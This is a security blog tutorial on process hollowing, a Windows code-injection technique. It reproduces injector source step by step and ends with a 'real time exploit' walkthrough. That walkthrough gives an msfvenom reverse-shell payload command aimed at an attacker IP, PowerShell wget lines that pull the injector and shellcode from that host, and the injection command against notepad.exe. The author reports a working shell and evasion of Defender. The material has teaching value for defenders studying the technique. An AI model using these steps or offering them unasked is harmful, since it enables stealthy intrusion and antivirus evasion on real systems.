Introduction
In July 2011, John Leitch of autosectools.com talked about a technique he called process hollowing in his whitepaper here. Ever since then, many malware campaigns like Bandook and Ransom.Cryak, and various APTs have utilized Process Hollowing for defense evasion and privilege escalation. In this article, we aim to discuss the technical concepts utilized behind the technique in an easy to comprehend manner and demonstrate a ready to go tool that can perform Process Hollowing in a portable manner.
MITRE TACTIC: Defense
Evasion (TA0005) and Privilege Escalation (TA0004)
MITRE Technique ID:
Process Injection (T1055)
MITRE SUB ID: Process
Hollowing (T1055.012)
Table of content
·
Pre-Requisites
·
Process
Hollowing
·
Demonstration 1:
PoC
·
Demonstration 2:
PoC
·
Demonstration 3:
Real Time Exploit
·
Conclusion
Pre-Requisites
One must be aware of the
following requirements in order to fully understand the process discussed:
·
C/C++/C# with Win32
API coding
·
Registers, PEB,
Memory management in Windows OS
·
Debugging code
Process Hollowing
Fundamental concept is quite
straightforward. In the process hollowing code injection technique, an attacker
creates a new process in a suspended state, its image is then unmapped
(hollowed) from the memory, a malicious binary gets written instead and finally,
the program state is resumed which executes the injected code. Workflow of the
technique is:
Step 1: Creating a new process in
suspended state:
·
CreateProcessA()
with CREATE_SUSPENDED flag
set
Step 2: Swap out its memory
contents (unmapping/hollowing):
·
NtUnmapViewOfSection()
Step 3: Input malicious payload
in this unmapped region:
·
VirtualAllocEx :
To allocate new memory
·
WriteProcessMemory()
: To write each of malware
sections to target the process space
Step 4: Setting EAX to the
entrypoint:
·
SetThreadContext()
Step 5: Start the suspended
thread:
·
ResumeThread()
Programmatically speaking, in the
original code, the following code was used to demonstrate the same which is
explained below
Step 1: Creating a new process
An adversary first creates a new
process. To create a benign process in suspended mode the functions are used:
·
CreateProcessA()
and flag CREATE_SUSPENDED
Following code snippet is taken
from the original source here. Explanation is as follows:
·
pStartupInfo is the
pointer to STARTUPINFO structure which specifies the appearance of the window
at creation time
·
pProcessInfo is the
pointer to PROCESS_INFORMATION structure that contains details about a process
and its main thread. It returns a handle called hProcess which can be used to
modify the memory space of the process created.
·
These two pointers
are required by CreateProcessA function to create a new process.
·
CreateProcessA
creates a new process and its primary thread and inputs various different
flags. One such flag being the CREATE_SUSPENDED. This creates a process in a
suspended state. For more details on this structure, refer here.
·
If the process
creation fails, function returns 0.
·
Finally, if the
pProcessInfo pointer doesn't return a handle, means the process hasn't been created
and the code ends.
printf("Creating
process\r\n");
LPSTARTUPINFOA
pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION
pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if
(!pProcessInfo->hProcess)
{
printf("Error creating
process\r\n");
return;
}
Step 2: Information Gathering
(a)
Read the base
address of the created process
We have to know the base address
of the created process so that we can use this to copy this memory block to the
created process’ memory block later. This can be done using:
NtQueryProcessInformation
+ ReadProcessMemory
Also, can be done easily using a
single function:
ReadRemotePEB(pProcessInfo->hProcess)
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
(b)
Read the NT
Headers format (from the PE structure) from the PEB's image address.
This is essential as it contains
information related to OS which is needed in further code. This can be done
using ReadRemoteImage(). pImage is a pointer to hProcess handle and
ImageBaseAddress.
PLOADED_IMAGE pImage
= ReadRemoteImage
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
Step 3: Unmapping (hollowing) and swapping
the memory contents
(a)
Unmapping
After obtaining the NT headers,
we can unmap the image from memory.
·
Get a handle of
NTDLL, a file containing Windows Kernel Functions
·
HMODULE obtains a
handle hNTDLL that points to NTDLL's base address using GetModuleHandleA()
·
GetProcAddress()
takes input of NTDLL
·
handle to ntdll that
contains the "NtUnmapViewOfSection" variable name stored in the
specified DLL
·
Create
NtUnmapViewOfSection variable which carves out process from the memory
printf("Unmapping
destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC
fpNtUnmapViewOfSection = GetProcAddress
(
hNTDLL,
"NtUnmapViewOfSection"
);
_NtUnmapViewOfSection
NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
(b)
Swapping memory
contents
Now we have to map a new block of
memory for source image. Here, a malware would be copied to a new block of
memory. For this we need to provide:
·
A handle to process,
·
Base address,
·
Size of the image,
·
Allocation type->
here, MEM_COMMIT | MEM_RESERVE means we demanded and reserved a particular
contiguous block of memory pages
·
Memory protection
constant. Read here. PAGE_EXECUTE_READWRITE -> enables RWX on the
committed memory block.
PVOID pRemoteImage =
VirtualAllocEx
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
Step 4: Copy this new block of memory
(malware) to the suspended process memory
Here, section by section, our new
block of memory (pSectionDestination) is being copied to the process memory's
(pSourceImage) virtual address
for (DWORD x = 0; x
< pSourceImage->NumberOfSections; x++)
{
if
(!pSourceImage->Sections[x].PointerToRawData)
continue;
PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress
+ pSourceImage->Sections[x].VirtualAddress);
}
Step 5: Rebasing the source image
Since the source image was loaded
to a different ImageBaseAddress than the destination process, it needs
to be rebased in order for the binary to resolve addresses of static variables
and other absolute addresses properly. The way the windows loader knows how to
patch the images in memory is by referring to a relocation table residing in
the binary.
for (DWORD y = 0; y
< dwEntryCount; y++)
{
dwOffset +=
sizeof(BASE_RELOCATION_ENTRY);
if (pBlocks[y].Type == 0)
continue;
DWORD dwFieldAddress =
pBlockheader->PageAddress + pBlocks[y].Offset;
DWORD dwBuffer = 0;
ReadProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress
+ dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
dwBuffer += dwDelta;
BOOL bSuccess = WriteProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress
+ dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
}
Step 6: Setting EAX to the entrypoint
and Resuming Thread
Now, we’ll get the thread
context, set EAX to entrypoint using SetThreadContext and resume execution
using ResumeThread()
·
EAX is a special
purpose register which stores the return value of a function. Code execution
begins where EAX points.
·
The thread context
includes all the information the thread needs to seamlessly resume execution,
including the thread's set of CPU registers and stack.
LPCONTEXT pContext =
new CONTEXT();
pContext->ContextFlags
= CONTEXT_INTEGER;
GetThreadContext(pProcessInfo->hThread,
pContext)
DWORD dwEntrypoint =
(DWORD)pPEB->ImageBaseAddress +
pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
pContext->Eax =
dwEntrypoint; //EAX
set to the entrypoint
SetThreadContext(pProcessInfo->hThread,
pContext)
ResumeThread(pProcessInfo->hThread) //Thread resumed
Step 7: Replacing genuine process with custom
code
Finally, we need to pass our
custom code that is to be replaced with a genuine process. In the code given by
John Leitch, a function called CreateHallowedProcess is being used that
encapsulates all of the code we discussed in step 1 through 6 and it takes as
an argument the name of the genuine process (here, svchost) and the path of the
custom code we need to inject (here, HelloWorld.exe)
pPath[strrchr(pPath,
'\\') - pPath + 1] = 0;
strcat(pPath,
"helloworld.exe");
CreateHollowedProcess("svchost",pPath);
Demonstration 1
The official code can be downloaded,
inspected and the EXEs provided can be run using Process Hollowing. The full
code can be downloaded here. Once downloaded, extract and run
ProcessHollowing.exe which contains the entire code described above. As you’d
be able to see that the file has created a new process and injected
HelloWorld.exe in it.
Upon inspecting this in Process
Explorer, we see that a new process spawns svchost, but there is no mention of
HelloWorld.exe, which means the EXE has now been masqueraded.
NOTE: To modify this code and inject your own shell (generated
from tools like msfvenom) can be done manually using visual studio and
rebuilding the source code but that is beyond the scope of this article.
Demonstration 2
Ryan Reeves created a PoC of the
technique which can be found here. In part 1 of the PoC, he has coded a Process
Hollowing exe which contains a small PoC code popup which gets injected in a
legit explorer.exe process. This is a standalone EXE and hence, the hardcoded
popup balloon can be replaced with msfvenom shellcode to give reverse shell to
your own C2 server. It can be run like so and you’d receive a small popup:
Upon checking in process
explorer, we see that a new explorer.exe process has been created with the same
specified process ID indicating that our EXE has been successfully masqueraded
using hollowing technique.
Demonstration 3: Real Time Exploit
We saw two PoCs above but the
fact is both of these methods aren’t beginner friendly and need coding
knowledge to execute the attack in real time environment. Lucky for us, in
comes ProcessInjection.exe tool created by Chirag Savla which takes a raw shellcode as an input from text
file and injects in a legit process as specified by the user. It can be
downloaded and compiled using Visual Studio for release (Go to Visual
studio->open .sln file->build for release)
Now, first, we need to create our
shellcode. Here, I’m creating a hexadecimal shellcode for reverse_tcp on CMD
msfvenom -p
windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f
hex
Now, this along with our ProcessInjection.exe
file can be transferred to the victim system. Then, use the command to run our
shellcode using Process Hollowing technique. Here,
/t:3 Specified Process Hollowing
/f Specifies the type of
shellcode. Here, it is hexadecimal
/path: Full path of the shellcode
to be injected. Here, same folder so just “hex.txt” given
/ppath: Full path of the
legitimate process to be spawned
powershell wget
192.168.0.89/ProcessInjection.exe -O ProcessInjection.exe
powershell wget
192.168.0.89/hex.txt -O hex.txt
ProcessInjection.exe
/t:3 /f:hex /path:"hex.txt"
/ppath:"c:\windows\system32\notepad.exe"
Now, a notepad.exe has been
spawned but with our own shellcode in it and we have received a reverse shell
successfully!!
For our own curiosity, we checked
this in our local host with defender ON and you can see that process hollowing
was completed!
In process explorer, we see that
a new notepad.exe has been spawned with the same PID as our new process was
created with
And finally, when this was
executed, defender did not scan any threats indicating that we had successfully
bypassed antivirus.
NOTE: Newer versions of windows will detect this scan as newer
patches prevent process hollowing technique by monitoring unmapped segments in
memory.
Conclusion
The article discussed a process
injection method known as Process Hollowing in which an attacker is able to
achieve code execution by creating a benign new process in a suspended state,
inject custom malicious code in it and then resume its execution again. The
article discussed some of the original code as described by John Leitch and the
basic breakdown of the code followed by 3 PoC examples available on github.
Hope you enjoyed the article. Thanks for reading.
0 comments:
Post a Comment